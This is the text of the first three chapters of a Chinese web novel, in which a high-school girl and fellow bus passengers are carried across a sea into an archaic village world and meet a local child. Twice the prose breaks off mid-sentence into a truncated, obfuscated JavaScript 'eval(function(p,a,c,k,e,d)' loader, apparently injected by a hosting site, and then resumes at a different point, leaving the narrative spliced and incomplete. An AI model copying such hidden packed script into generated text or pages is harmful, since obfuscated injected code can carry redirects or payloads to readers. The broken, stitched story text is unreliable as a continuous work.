《群穿蓬莱是阴谋》 1. 第 1 章 已不是暴雨时节，这场雨下得不大，淅淅索索，但是整片天地灰蒙无光。这地方就像是变成了神灵的洗笔池，浓云滚滚，一望不到尽头的灰，裹挟在微冷的风中，扑面而来。 许巧星撑着一把黑色的长柄伞，站在公交站台等车，雨水的味道浸了她一身。有雨水从伞外被风斜打了进来，脸庞两侧粘了几丝湿了的碎发，眼睛正盯着地上的水坑出神。 这里与其说是公交站台，可没有遮雨棚，只是一块蓝色薄牌打了两个孔，被铁丝绑在电线杆上，上面用油漆涂上了数字。这牌子年代久远，生了锈，数字依旧被人用油漆刷了又刷，层层叠叠，依旧清晰。 这条水泥路宽敞，多是货车来往，大人们叮嘱孩子千万别来这个地方玩耍，但是架不住旁边是一个被废弃的工地，材料都被人拿去卖了，留下来个孩子眼中的玩耍天堂。前几年路上出了车祸，伤者不幸逝世，又有孩子打闹的时候从工地上没有护栏的房子里掉下去，家长以施工围挡没有做好，工地无人看守的理由去找了开发商，如今那工地上的房子被炸了干净，只剩下一块荒地了。 这片是郊区，远到更远的山丘上还有大大小小的坟包。而许巧星所站着的这条路是唯一一条通往市区的路。 附近没有高中，她只能坐近一个小时的公交去市区，七天里面有六天要来这个公交站台。站台等车的人不多，今天的公交无故迟到了二十分钟，大家皆在沉默地等待。 许巧星双手举着黑色长柄伞，躲在下面，好似一颗生了根的蘑菇。 她想着，更远处的雨帘里透出白黄的模糊不清的光，影子在脚下瞬息万变，车缓缓到站了。 许巧星走在最后面，收了伞上车，嘎吱一声，面上溅有泥巴污水的玻璃车门在她身后关闭。 她找了一个没人的座位，伞斜靠在座位旁，她从书包里翻出古诗文小手册。一摸，书包里的夹层还带着点余温，是街边买的包子和茶叶蛋。许巧星的书包并不算太重，每天往返带的只有作业和笔记，课本都留在学校。 车内很安静，有人玩手机，有人闭目养神。许巧星手指头摩挲纸张，在心中背诵着要考的诗文，碰到卡顿的地方才看手册一眼。 她背着背着，不经意间抬头看向窗外。车开了许久，窗外越来越黑，看不见一点灯光。许巧星在窗户上看见了自己的脸。 骤然之间，她听见了风的声音。 许巧星瞪大了眼睛。不可思议的一幕发生了，车外霎那间明亮了，公交车似乎冲破了什么屏障，车身剧烈颠簸一下，嘶吼的钢铁巨兽闯入了一片一望无边际的大海，而它正在水面上极速飞驰着！ 海浪翻涌着，浮光跃金，她旋即拉开窗户，清爽又带着盐的味道的风一阵一阵扑在脸上。 “司机，怎么回事！”其他人也显然发现了不对劲，开始纷扰不安。 有一个寸头大叔冲到驾驶位，急问司机：“见鬼了，这是什么啊？” 眼前的景色显然不合时宜，阳光和海洋的耀眼直撞脑门，让人头晕目眩。车上的人像躲在叶子上的蚂蚁团，风一刮，无根无蒂的叶子落在诺大的湖泊上，蚂蚁瑟缩着抱成一团。 司机眉心一跳，大力转动方向盘，但是很明显这车对此毫无反应。他头都没抬，猛地抬起手，看姿势像是想把整个方向盘给砸了，暴躁嘶哑：“你也知道这是见鬼了啊！不是？你为什么以为我什么都知道啊？我是神仙？”除了许巧星和司机以外的其他人都拿出手机，但是拨不出去，没有半点信号，他们已经和原来的世界失联了。 司机拨动车载收音机的开关，只有刺人的令人厌烦的滋滋声。半响，他说：“收音机也接收不到信号了。” 恐惧的情绪充盈在车内，此起彼伏的议论声响起。 许巧星惊愕地回望向车后方，来时的路已消失，后面是大簇的白色云团，如高楼般从海面上拔地而起。 这片海澄澈干净，泛起金浪，是许巧星在纪录片里面看到的那种。哗啦啦的水声从车轮处传来，她大口呼吸着这新鲜的空气，她面向窗外，跪在座位上，撞倒黑伞也无心扶起，她想伸头探出去看个究竟，湿凉的海风刮在脸上，这一切都是真的！ 司机旁边围着几人，七嘴八舌，惊慌失措地出主意。这一切仿佛不是真实的，眼前事物如此古怪，匪夷所思。 许巧星抿唇，她有些呼吸不过来，只听见自己胸腔内心跳如鼓响。这片海洋精致美丽，没有波涛汹涌，没有狂风暴雨，它就像一块会跳的蓝宝石心脏。耳畔猎猎风声，她眼中充盈着那闪着金光的蓝。 可这令人惊心动魄的美景下，暗藏杀机，这车极有可能把他们送去死无葬身之地。 许巧星被惊惧的人声扯回了思绪。 “这车怎么就是不掉头！” “上班要迟到了！” “我要回家！” “我会游泳，我要游回去。再不走就来不及了。”车门似是纸糊的一般，被两个大叔硬拽开。 司机沙哑嗓子，大喊着：“先别下水！你们别冲动！”他不停按下关门键，但是车门不听使唤。他的声音也没有传到这些惶惶不安的人耳中。 一个人按耐不住，先跳了下去，另一个人犹豫了几秒，也紧随其后。这冲动之举激起一阵嘈杂，司机忍不住站起身去拦，晚了一步。水里的人朝着车上的人挥手，放声道，“快下来！快！来不及了！”但是车一刻不停留地往前开去，他们唰地变成了小小的黑点，再也听不见看不见了。 “我还有……一个女儿在家里。”有一位穿着工服的妇女喃喃低语。她一想起自己的女儿刚刚蹒跚学步，可这辆车不知道会载着他们去何方。她咬咬牙，闭上眼，对其余人的话语置若罔闻，旁边一人想伸手拦她却被用力推开。妇女纵身一跃，不管不顾地跳了下去。 接二连三的乘客跳车，许巧星被眼前这一幕惊呆了，心下骇然。 可是，真的能回去吗？ 车内是死一般的静默。 洁白的云团已经有点远了，许巧星向远处伸出手，庞大的连绵城墙缩成了可以捧进手掌的树叶大小。 可那片云里有来路吗？所有人极大可能成为都市失踪故事中的一员。许巧星不想自己成为别人口中的怪谈的一部分，他们也许会在课间窃窃私语：“诶！你知道吗？某某中学的一个学生，居然在早上坐公交车上学的时候，失踪啦！” 车上还有四人，许巧星、穿着廉价西装的年轻女子、面无表情的苍白男人，还有那位司机。 “还有几个人？”司机干涩地问道。他的年龄没有面上显得那么老，可是在此危急关头，他眉毛紧锁，脸上惨败无光，皱纹宛如耄耋老人，拽着脸上的肉，仿佛有绳子卡在里头使得他喘不过气。 许久，没人回答他，司机不耐烦地又问了一遍，他看着车内后视镜。 “加上你，还有四个人！”许巧星喊了一声。 “车已经完全不受控制了。”司机的声音从前头传了过来，“你们做好打算。” 许巧星不知道他们能做好什么打算，车上也没有人可以回答这个问题。 两个小时过去了，这辆失控的公交车沉默地往前方冲去。 好似会一直开到万古长存。 许巧星拿出她的早餐一口一口慢慢嚼，冰凉无力的四肢缓缓回暖。 那位年轻姐姐坐过来同她讲话。许巧星也就知道了这个姐姐的名字，郝乐宁。郝乐宁两眼无神，面如菜色，硬挤出来一个笑容，她把墨蓝色外套搭在前排的靠背上，侧过头来看许巧星，声音难掩不安：“我们不能死在车上吧。” 许巧星甚至有一种诡异的错觉，以为这辆车将永远漂在这片海上。 她止不住胡思乱想。她想着自己会不会饿死，变成皮包骨的残骸，亦或者在缺水的情况下自己先渴得意志涣散；更或者是法力消失，像灰姑娘的马车到了午夜就变回南瓜，这辆车子突然恢复原形沉下水，那么大家都会永远沉睡在这片不知名的海底。 法力没有消失。车到站了。 不如说是车到了一片无人沙滩上，它像刚刚出海归来的船，理所应当地靠岸。沙滩前面是绿意盎然的树林，车子前轮全部陷在泥沙里面，随着车底摩擦着沙子的声音，它缓慢地停了下来。 安静到诡异。 大家坐在座位上不动，也许是心中还抱着车子会开回去的幻想。等了片刻，司机冷着声音说一起下去看看。 车门处还全是水，许巧星挽起裤角，把自己的鞋子脱下来提在手上，跳了下去。 沙子软绵绵的，踩上去很舒服，最后下来的是司机，他不知道从哪里找出来了一个工具箱，里面有扳手之类的东西。他用螺丝刀把车上可拆卸的栏杆都拆了下来，分给了大家。可惜车载对讲机是内嵌在车子内部的，不懂门道的人恐怕强行取不出来。 除了许巧星外的三人不约而同地掏出手机，果不其然，他们打开后发现手机依旧没有信号。智能机耗电快，也不知道何时能充电，所以只好先把关机，日后再做打算。 许巧星被分去附近找点干燥的小树枝回来，用于生火取暖。男人和郝乐宁两个人往林子里面走，司机则一个人沿着海岸线走。他们约定发现什么或者天黑之前回来。 银色细腻的沙子踩在脚下，一步一个脚印，沙滩和树林之间有一块大草地。林子里偶传几声婉转鸟啼，许巧星在草地上，捡回不少细干草和树枝枯叶。 许巧星把它们都放在自己的书包里面，作业全部被她拿出来整齐叠放在后排椅子上面，笔记本则放在夹层里。做好被安排的任务之后，她又登上了公交车。 公交里面的空调停止运转，司机座位上那些五颜六色的按钮和灯也黯淡下来，许巧星回到座位上，心里不着底的惶恐感才稍稍淡了些，她看向窗外一成不变的风景，手指不自觉地扣着栏杆，无言发呆。 许巧星的母亲病逝，父亲则在她小学的时候从铁架子上摔落，不久之后也撒手人寰。奶奶不是亲奶奶，只是住在附近的邻居，看她没有其他亲人了，便好心把她领回了家。 父亲曾经工作的公司看这个家只剩一个孩子，发了善心，除了赔偿外又多给好一笔钱。几个人提着油啊米啊匆匆地来到这个房间里，放下来，又拉着许巧星一起拍了几张合照。一个大人拍了拍许巧星的肩膀，说出了那句：“要坚强。” 然后，父亲的同事又推门离开了。 昏暗的灯光下，小许巧星盯着那些油和米在发呆。它们是公司发的，父亲逢年过节也是扛着同样牌子的油和米笑眯眯地回来，现在她吃上这些东西却是在父亲的头七之后了。 这笔钱都放在银行里面。奶奶说这钱先不花，要留给许巧星读完大学买房子用，她双亲留下来的钱是未来给她在社会上傍身用的。她把存折交给了许巧星。奶奶教她藏在衣柜里，压在冬天穿的厚重的棉袄下面。奶奶说她是一个乖孩子，东西交给她也放心，她不会乱花钱。 记忆里，小许巧星抱着自己，坐在办公室的板凳上，她听到大家都在说“这个孩子可怜啊”。她很冷，弓着背盯着自己的鞋子，鞋子上面的冰渣化成了水，水泥地黑了一块，留下了她的鞋印。 所有人都用那种怜悯和关怀的眼神注视她，这眼神和悲伤阴霾仿佛黏在她背上，比影子还紧紧相随，虽无恶意，但让小巧星无所适从。往后打个照面，别人一这样看她，她就想起来了—— 哦，这个孩子好可怜啊。 奶奶有时候也会这样看着她，但是奶奶又有点不一样。在奶奶眼中，许巧星不是那张扁扁的写着“可怜孩子”的易碎标签。 许巧星合上双眼。 窗外倏忽出现响亮的水花声，许巧星立马探头出去，只看见了一条巨大的银色鱼尾一闪而过。 好大的鱼！ 她被唬了一跳，大鱼是往车尾的方向游去，她噔噔跑向车尾，趴在窗户上看，却什么都看不到了。许巧星又急匆匆跑下车，沿着海岸来回走了几遍，却一无所获。 她独身一人，没有别的事情可做，过了一会儿就壮起胆子跑进林子找野果子充饥。她知道不要随便乱摘外面不认识的果子吃，怕有毒。但是她也隐约记得书上还说，倘若果子上有虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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海面连着沙滩上出现了淡淡的白雾，凉意从衣颈袖口往里蹿，许巧星裹紧了身上的衣服，把发软的果子丢到草丛里，背上书包，亦步亦趋跟在后面，往远离海的方向走去。她边走，边回头望，直到身后万物被白雾吞噬。 在许巧星十岁那年，也是大雾弥漫，街坊路过一老和尚，奶奶见他年纪大了还孤身在外，遣许巧星从家里送出饭菜和水。和尚道一声“阿弥陀佛”，又说了好些感谢的话，然后，他盯着许巧星看，又对奶奶说道：“这孩子早慧，还有逢凶化吉的福气。只是……罢了，不敢妄言。” 这双眼清澈透亮，全然不曾有老年人的浑浊。许巧星愣了一下，回望着和尚。 奶奶以为和尚指的是许巧星幼年孤露，没应这句话。她只是笑了笑，学着和尚的姿势，双手合一回了一礼，再拉着许巧星的手回家去了。 就这样走啊走，斗转星移，背后似传来和尚高歌两句“桃花流水窅然去，别有天地非人间”。 很多年后，许巧星回忆那天，仿佛还能闻见海盐微咸的空气，双足伫在泥泞打滑的土壤上，她的道路也如同被这片雾遮挡一般，她踉跄地一头栽进未来。 幸运的是她并非孤身一人。经过昨日的草木皆兵，大家皆没有昨天那般紧张严肃，扯了一些闲话，相互之间的情况也大致清楚了。 郝乐宁是从大学毕业两年的新社畜，一直没找到专业对口的工作，工作是常换常新，简历投了又投，工资则一如既往的低。如今正在一个小公司新入职不久，处于端茶倒水的最低打杂等级。今天她赶车是急着去上班，她得要第一个到岗位去打扫办公室卫生，开窗通风，而保洁的那份钱却没有进她的荷包里。她握拳，愤愤不平：“什么公司就只懂压榨！不过好歹是今天不用上班了。” 司机全名赵文，在那个城市里开车已经有十多年了。每个工作日，他把脚搭在油门和刹车上，扶着方向盘，如同血液熟悉体内的血管，他也分外熟悉城市里他经常开过的道路。他信誓旦旦地告诉大家，他绝对没有开错方向。他口里念叨着，那条路再往前走，左边是一个加油站，右边是一家颇为热闹的汤粉店，更往前是红绿灯，过了红绿灯是…… 苍白的男人姓陈，微胖，戴黑框眼镜，把自己撑在皱巴巴的灰色衬衫和黑色长裤里。他年龄最大，于是让别人喊他陈哥，他看着年龄最小的许巧星，迟疑了片刻，还是拍了一下她书包，说：“你也跟着他们一起叫我陈哥吧，我习惯了。”陈哥比较寡言，他只说了自己是开小卖部的，“小学门口那种很小的小卖部。”他解释道，“平时我都在屋子里不出去的，昨天我来这边看我妈。” 他们一行人随口闲聊，可谁都对这个怪诞荒谬之事闭口不谈，仿佛真的是去野外郊游一般。他们寻找昨天留下来标记，插在地上折断的树枝和摆成一堆的石头，心中忐忑不安，面上故作欢笑，好似越过这片林子就能看见车水马龙的钢铁城市。 许巧星抓着自己摇晃的书包带子，低头看见了鸟飞过的影子和踩在地上的脚印，她一步一步跟在他们后面。 雾气逐渐淡开，浓郁绿色不由分说地撞入眼底，风穿过树叶发出细碎呢喃，仿佛一只手在温柔地抚弄这片林子。许巧星已经辨别不出来方向，抬头向上看去，阳光被茂密的枝叶打碎，更高处是一碧如洗的天空。 陈哥发现了昨天的路，站在一棵树旁边向其他人招手，许巧星发现这果真是人造的路，道路两边甚至有高出一截的分界石，只是看起来很久没有人走过了，已被荒废，石头缝隙中长出来了很多杂草。 虽没有坦如平地，但是在崎岖不平的山里有一条正儿八经的路就方便多了。许巧星的鞋底缝隙里面已经沾满了泥巴，有些打滑，好几次差点摔跤。他们沿着这条路走下去，树木开始变得稀疏，紧接着听见了水声。 眼前豁然开朗，在山下，有一条百米宽的河平坦地流淌。 更远的地方出现了人。 河水明净透彻，一支木船停驻在岸边，两岸各站着忙碌的人，在山上向下看，人如蚂蚁大小。这是一副最正常不过的农家景画。 2. 第 2 章 白沙镇，这名取得随意，不加斟酌，而附近地方的人更习惯叫它“最海边”。 虽然被称为小镇，但是仅是一个普通村庄大小。在王城派人来之前，它平平无奇。镇里人每天鸡鸣时起来洒个网，用山上引下的溪水浇菜灌田，再坐在村庄中间的空地里说些闲话，有时会上山挖点野菜，孩子们则满山踩着水花和泥巴乱跑。好不自在快活。 镇上来了一风尘仆仆的路人，背着简单的行囊。在鲜有外人到来的白沙镇，是稀罕事。此人见多识广，讲话妙趣横生，听到旁人说此地少有外人，他故作玄虚般掐指一算，称此风水宝地在不多时必会迎来颇多客人。 三日光阴弹指而过。镇内来了两辆兽车，竟与先前的路人相识。而兽车浩浩荡荡又带来了很多人。住在附近的年轻人听到此事，不少人齐齐聚集在白沙镇，大家要一同参与进圣命中——据说，王城遗失了件无价之宝。 此事未曾有之。 在这平静无风波的小镇，事之大者也不过是谁家结婚，大家聚一堂用个饭，人最多的时候则是周围几个镇聚市赶集。住在白沙镇的人从未见过这个阵势，十多辆兽车停在小镇外头，高大的行车兽雕鞍彩辔，按次有序地排在并不平整的道路上，它们缩着身子，低眉顺眼的模样竟显得有点可怜。 一金袍红纹的使者从刻着精美花纹的车子上走下来，金纹繁复，衣袂飘飘，身后仿佛响起高雅奏乐。临时被推选出来的里正心里希冀能不失礼仪地接待，他没见过大场面，有些手足无措。 尊敬的使者沉下气，温文尔雅一笑，他所讲述的语言近似歌吟，肃穆且动听。 而一只长着雪白羽毛的怪鸟站在他肩头，仰头，挺着脖子，怪声怪气地翻译：“咱们老家丢人丢到海边来咯，搞丢一个玩意，爬山下水得满地方找，希望乡亲们能帮个忙，不然咱们没脸回去见人——”使者嘴角一抽搐，完美的微笑登时变得扭曲起来。 临时的里正呆若木鸡。事后手握诏书瞧了又瞧，生怕自己看走了眼。 即使能口吐人言的怪鸟讲话再奇诡，这群人好歹也王城那边正儿八经派来的，再小的事情亦是大事，众人自然鼎力相助。日出家便是如此，除了日出本人年幼尚不能相助，她双亲整日在使者和里正那边忙前忙后。 自那日晚，她被再三告诫“不要再去靠近那条河了”。 白沙镇坐落于一条河的出海口附近，河无名，冠有一俗称“大河”，水清鱼肥，往日里捕蟹抓虾，打闹嬉戏都绕不过它。日出不懂，出生在这儿的孩童从未堕水呛溺，简直是在河里游大的，哪里来的道理是使者一来就拦着不给别人去了？ 日出去问长辈，长辈只称是使者有任务。 半大点大的孩子们凑一起磋议，实在无聊，索性去找使者问个究竟。使者思量过后，同意了孩子们可以去玩水，但是要远离“打捞场”，倘若发现了什么奇怪的东西必须要上报。 “你今天没跟着他们一起去胡闹吧？”娘问她。 “我可是在院里晒谷子，哪里都没去。”日出嘟囔着。 “好孩子。人家使者好说话，没架子，但是咱们也不能给使者添乱，打扰人家做正紧事。” “那我以后还能不能跟着他们去河里玩了？” “其他人我管不着，你可不许去。这段时间事多，你多给你娘顾着一点家，少出门。还有，师保说你的文章还读不利落，字也写得歪七歪八的，你多用点心，别让你娘替你操这份心。” 日出萎靡不振：“知道了——” 可日出半大孩子，玩性大，闷不了多久就想到处跑。她家里就只有她一个小孩，既然双亲皆忙碌，她自然要去打扫院子，干些舀水浇菜之类的杂活。几个孩子喊她出来去使者那儿玩鸟，她都被拘着，没什么工夫。 使者那儿有一只会说话的怪鸟，稀奇罕见。这事早就传遍了白沙镇。 这鸟刚来的时候还同孩子们一起打闹嬉戏，可鸟儿被孩子们跟在后头追捧久了，亢奋至极。那正牌的使者发现鸟不听使唤，反而热衷于在孩子面前掉舌鼓唇。可使者没了鸟难以与外界沟通，小镇人也不懂使者比划的手势，连猜带蒙。他和小镇人面面相觑半日后，克扣了鸟儿的解馋小食，这才作罢。 日出因家中有事被拘着，错过了玩鸟那一遭，心情不是甚好，接下来更嫌无聊。 既然不准她去河边，在镇里头待着又可能被师保逮去背书，她便一得空就独自往山上跑。山里没有凶猛野兽，最大的不过是麂子，胆小怕人，听到声响就跑没影了。山里的孩子野惯了，知道分寸，年长的人都不会拘着孩子不许去山里。若是捉到了什么野兔野鼠，还可以带回去加个餐。 那日说巧不巧，日出依旧上山玩乐，打枣抓兔，却撞上了许巧星一行人。于她而言，只要不念书写字，什么皆别有风趣。她侧耳听见动响，误以为是什么野物，撩开草丛一看，却是四位身着奇装异服的陌生人。他们背对着自己，站立在山路边，另一侧便是悬崖。他们仍未注意到日出，还在相互之间私语琢磨。 又是外人。 “你们使者怎么在这儿？”日出从树后走出来，兴致盎然。可她又转念想到，万一使者要在这边找些什么东西，这山头岂不是也要被霸占了？ 使者？许巧星心头纳闷。 司机大喝一声：“谁！” 不言而喻，日出吓了他们一跳，但是在发觉能听懂日出说的语言之后，大家皆松了一口气，连忙把手上的铁栏杆往身后藏。 年幼女孩没察觉他们手上持握的铁棍，她往后退了两步，瞪大眼睛，似乎被吓唬住了。许巧星没料到山里会乍然冒出一个左右不过十二岁的孩子。这孩子眼睛水灵，皮肤是日晒的健康麦黄色，从袍子下面露出来的胳膊和腿上有流畅的肌肉线条，活像一只朝气蓬勃的山中小兽。 大家僵持了片刻，直到日出再问了一遍。最先开口的是司机。他弯下腰，放柔声音：“小朋友，你一个人怎么在这里？”他平时不太笑，脸颊僵硬，皮笑肉不笑地扯着嘴角。许巧星往女孩身后细细看去，草丛里没有其他动静。 “我一个人怎么了？你们规矩这么多吗？”日出颇有不乐，误以为司机此话是训斥，“这里是我家，我为什么不可以在这里玩？我哪里都可以去。” 他咳嗽一声：“这是你家？” “不然呢？”日出毫不客气，话一出口，又想起来者是客，不禁有些羞红了脸。 司机被小孩呛了一下，不知道自己还能说什么。他回过头，给陈哥一个眼神。 毕竟这人是在学校门口开小卖部的，应该惯会和小孩子打交道的。然而陈哥避开了司机的眼神，甚至挪了几步，站到了许巧星和郝乐宁的身后。 司机错愕之余，十分不悦，回过头来，换了一副面孔，用自己刻意捏出来的温柔声音说话：“我们不太清楚，没见过你。” “我不去河边。” 司机不明白这句话什么意思，还想再问，却被日出打断了：“你们来这里是要做些什么吗？若要我帮忙就说，不要的话，我可就去自己玩了。” 许巧星见女孩要走，情急之下喊住了她：“要你帮忙的！” “那你们说。” “你知道，这附近哪里有信号打电话吗？”郝乐宁犹豫了一下，心中不抱期望，仍是问出了口。 “信号？电话？这是什么？”日出诧异地张大嘴。 一时间没人能回她，许巧星灵机一动：“这是我们那边的东西，你要是没听过就算了。我们把外头的事情跟你讲讲，你也和我们说一下你的事情好不好？” 这话答得突兀，幸好这年幼的孩子并未察觉不对劲。日出思索着说：“你想知道什么？我平时就那样啊。” “那你能说一下你平时都在做什么吗？” “吃饭睡觉，看书写字。喏。”日出指了指山下的那条河，“我往常总是去摸鱼抓虾，但是你们‘使者’来了后，就不给我去了。” 又是“使者”这词。 郝乐宁惊愕，旁敲侧击：“很多使者吗？” “来了好多兽车，我也不知道到底有多少？”女孩语气疑惑，“你们不知道吗？难不成不是一起来的吗？我都没看见你们的兽车，你们肯定没走大道。啊！你们不会是刚来吧？头一次进山可要当心，千万别迷路了哦。” 他们不明其所言，不敢乱应。日出并未再追问，似乎笃定了他们的身份：“那要我带你们去河那边吗？” 这更不敢。司机挠挠头：“暂时不用。就，能麻烦你告诉我们山里有地方可以住吗？” “给使者的院子好像住了不少人。你们刚来，可能挤不下？哎呀，我也没去过，我不知道呢。但是妈妈说使者都是远道而来的贵客，我家还有多余的房间，你们要来我家里住吗？” 小女孩的话让大家不由得发愣。司机转头看向其他人，几人皆在摇头。他犹豫片刻，不知如何拒绝。郝乐宁抢先一步，柔声说：“我们是暂时不要被其他人发现的使者，来这里还是一个秘密。” “哇！”日出顿时拔高声音，精神抖擞起来。 司机松了一口气，顺着话，继续往下问：“你有见过和我们一样的使者吗？” “我不知道什么叫和你们一样的。他们也有信号吗？” “这，那也不一定。”郝乐宁用哄孩子的语气，“使者是不是穿着这样的你没见过的衣服？比如，从很远的地方来。一些你没见过的人。” “使者不都是这样的吗？” 郝乐宁凑在许巧星耳旁：“骗这么小的孩子，如果还住到她家里，我会有一种罪恶感。” 这小女孩对他们毫无警惕。正常情况下，几个陌生人进小孩子家里这种事匪夷所思，以至于所有人在小女孩提出那个邀请后，兢兢战战地四处张望，生怕女孩的家长从哪棵树后面跳出来，手上举着狼牙棒，大喊一声“人贩子”，凶狠地将他们装进麻袋，捆上石头，沉尸河底。 “这倒不用，我们还是不要打扰大家了。”司机清清嗓子，“只是想问问，山里有没有空出来的房子？” 于是，一行人跟着小女孩去山里闲置的小屋。据她说，早就没人住了，但是每隔几个月仍有人上山来打扫。 “你们拿着的是什么？是赶蛇棍吗？” “哦对，是的。”许巧星说罢，立即把栏杆往草丛里挥舞几下。 女孩名叫日出，她一路上闹着要听外面的事情。几人七嘴八舌拼凑出来一个外面世界应付孩子，同时隐晦地询问使者相关。可是日出只知道使者从遥远地方而来，背负圣命，难得一见。 许巧星也从日出的童言童语中了解到，这里相当原始，不会发电，也没有电视和空调。住在这里的人都遵循“日出而作，日落而息”的规律，而日出口中的“玩”是上山下水摸鱼捡石头，拿着木剑打架过家家，并不是坐过山车和旋转木马。 这听起来像几百年前，更有说不上来的古怪。 正因为日出经常上山下水，她虽年幼稚嫩，但身体素质显然比其他人都好。一个孩童猛扎进草丛里就不见了，绕近路又从树木后面冒头看他们，甚至需要停下来等他们。许巧星轻轻叹了一口气，怪不得这般小的孩子敢单独上山。 许巧星见日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这里很干净啊。”司机说。虽然房子里比较简陋，相比在外面泥巴地里以天为被，有一间遮风避雨的住所自然更适宜。随着当啷一声，司机把之前拿来护身的车上栏杆横放在桌上。 “周围地下埋了驱赶动物的草药，每隔一段时间就会有人来检查的。”日出解释。 许巧星把伞靠墙放在门口，连忙问：“那下次是什么时候会来检查啊？” 日出歪头想了想：“近些日子大家都在忙，应该没这么快来看。你们真的要住在这里吗？山里晚上很冷的，你们住我家里还能晚上烤火。”她关切地用手拍了拍那张甚至没有被褥的床。 司机再次拒绝了日出的邀请。许巧星腹诽，如果就这样住进你家，你父母怕不是要把我们架在火上烤了。 在日出准备离开前，司机再三强调，一定不能告诉其他人看过他们。 “那好吧。”日出迟疑着，但是仍答应了，“那我走了。如果你们使者需要什么帮助，就来镇里面吧。”这个小女孩蹦蹦跳跳地离开了，摆弄树叶门帘的许巧星看见她在小路转角处回头，四目相对，许巧星抬起手回应日出的招呼。 “要不要跟着她？总要知道一下当地人住在哪。”司机倚着门，眼睛往门外看。 陈哥摇头，明确拒绝：“不要。万一再碰上其他人怎么办？” 司机从鼻子里发出冷哼声，不住嗤笑：“你现在终于舍得开口了，我还当你是个哑巴。之前你看见小孩一声不吭的，不知道的还以为你怕她。亏你还是在学校门口开小卖部的，这生意还不得倒闭。” 许巧星听见司机忽然口吐咄咄逼人的言语，一时间怔住了。而郝乐宁尴尬地打圆场：“各有各的顾虑，大家和日出刚见面，还不熟悉，不知道要说些什么。” 陈哥闻言，低头沉默了。 “你不去，那我去跟着她。”司机没有再理会陈哥，他对许巧星和郝乐宁说道，“你们去多摘点那个小女孩说的什么果子，如果我们没抓到什么野兔之类的，恐怕很长一段时间只能吃这个了。”说罢，就头也不回地出门了。 屋内氛围些许尴尬，两人目光望向陈哥，陈哥本人对司机的态度显得很无所谓，他坐在木床边缘用力抓着鸟窝头，说自己昨晚几乎没睡，想休息一下，便闭眼躺了下去。 许巧星想起陈哥浓浓的黑眼圈，把门关上，留了一条缝，郝乐宁在她身后小声地说：“就这样吗？” “他可能就是没睡好吧。” “陈哥一路上都不怎么和我们说话。”郝乐宁说，“司机的那个话带刺，陈哥一点反应都没有。”大家如今同舟共济，要是起了矛盾、散了伙就糟糕了。 许巧星误以为郝乐宁是在关心陈哥的心理健康，她思索道：“可是陈哥这个年龄的人，也不会因为被司机说两句，就支开我们躲在床上哭吧。应该不用管他。” 郝乐宁愣了一下，突然噗嗤笑出声来。 许巧星不明所以，被笑得有些不自在，便换了一个话题：“你说，日出口中的‘使者’到底是什么人？” “大概是什么出差的官员。听她话里话外的意思，这段时间来了不少外人，这个小孩子怕是把所有陌生人都认作‘使者’。”郝乐宁耸肩，“她认错了才好，要不然我们就遭殃了。这要是解释不通，又穿着奇怪衣服，会被当成怪姐姐抓走的。” 许巧星如芒在背。 郝乐宁督见她的脸色，安抚她：“别紧张，我们什么坏事都还没做。他们也不可能看见陌生人就抓起来吧，天底下哪里有这么不讲道理的事情？” 许巧星心想，这不是骗了一个热心肠的小女孩吗？但是她作为团伙之一，若朝不保夕之刻和自己的同伴提这些，实在不知好歹。 “酸甜的果子开胃。”郝乐宁转头看向果子，长长叹息，“再好吃也不顶饱，我好想吃一碗大米饭啊。”她们闲聊着，正把摘下来的果子往书包里放。 “看这个！”郝乐宁突然抬起手臂。许巧星顺着她所指的方向望去，旁边的山顶上居然有一座红色的高塔拔地参天。此处树木较为稀疏，视野较其余地方开阔许多，这才从浓绿繁茂的缝隙中看见了它的侧影。 “我们去看看？” 3. 第 3 章 “这个是司机昨天看见的塔吗？”郝乐宁懊恼，“忘了问日出这塔是做什么的了。……它好像离这里不是很远，要不要去看看？” “好哦。”许巧星点头。她把书包放到小屋门外，两人便往红塔的方向走去。 她们在陌生山里怕迷路，想少绕点弯，以免偏失了来处方向。而前往红塔的路过于陡峭，实在愧于“路”这一称呼。其中有一段，人只得抓着细枝树干做支撑，甚至要弯下腰手脚并用。二人一前一后，许巧星踩在郝乐宁走过的地方，深刻体会到了“世上本没有路，走的人多了便成了路”的字面意思。 郝乐宁暗自后悔。她回头望向屋子，又扭头看着枝叶缝隙间露出来的塔，她们被卡在半上不下的中途，手掌已被划出红痕，膈得生疼。她咬咬牙，对许巧星说道：“要不你还是回去吧？我一个人再往前探，如果实在过不去就等大家一起来。” “一起走吧，两个人也有个照应。”许巧星摇头。 郝乐宁见许巧星坚持，扯出一个苦笑。她们两个人就这样相互搀扶着往上走。 许巧星双掌撑在地上，指间皆是松软的泥土。幸而过了这段路后，地势逐渐平坦。她们一路走来，没有发现山里有大块的红色石头，也不知道那座红塔有何来头。 郝乐宁在侧面找到了一条真正意义的路，明显是被人修整过的，似乎正通往山顶。她叮嘱道：“我们走这边，还注意一下有没有别人。小心点，别被发现了。” 等她们来到这座塔前时，不知幸与不幸，此地空无一人。 天空中盘旋着几只不知名的灰鸟，沙哑的叫声遥遥传来，一声高过一声，叫得让人心慌。 红塔原貌展现在眼前，一览无余。 它全由红褐色的石头搭建而成，菱角皆被精心打磨出弧度。前不着村后不着店，一枝独秀，这在翠绿的树林中格外突兀扎眼。旁边有一个棚子，年久失修，棚顶已经塌了一半，也没有人来清扫。 塔在风吹日晒下依旧坚固，高高耸立，约七层楼高。绕着塔周分布有几个方形窗户，而塔下方有一扇的乌黑石门，石门投下的阴影笼罩住她们。这门巨大，两倍于身高，它正紧紧闭牢，而门上挂了把广锁。 许巧星推门，门锁摇晃，当啷作响。既然门是从外面锁上的，说明塔里面也没有人。 “让让。”郝乐宁弯下腰，双手从地上抱起来一块称手的石头，目光移动，打量了几下，“我试试能不能把它砸开。” 黝黑的锁看起来分外结实，徒有其表，竟没抵挡住石头的攻势。 它砸在台阶上，发出一种深沉的巨响。 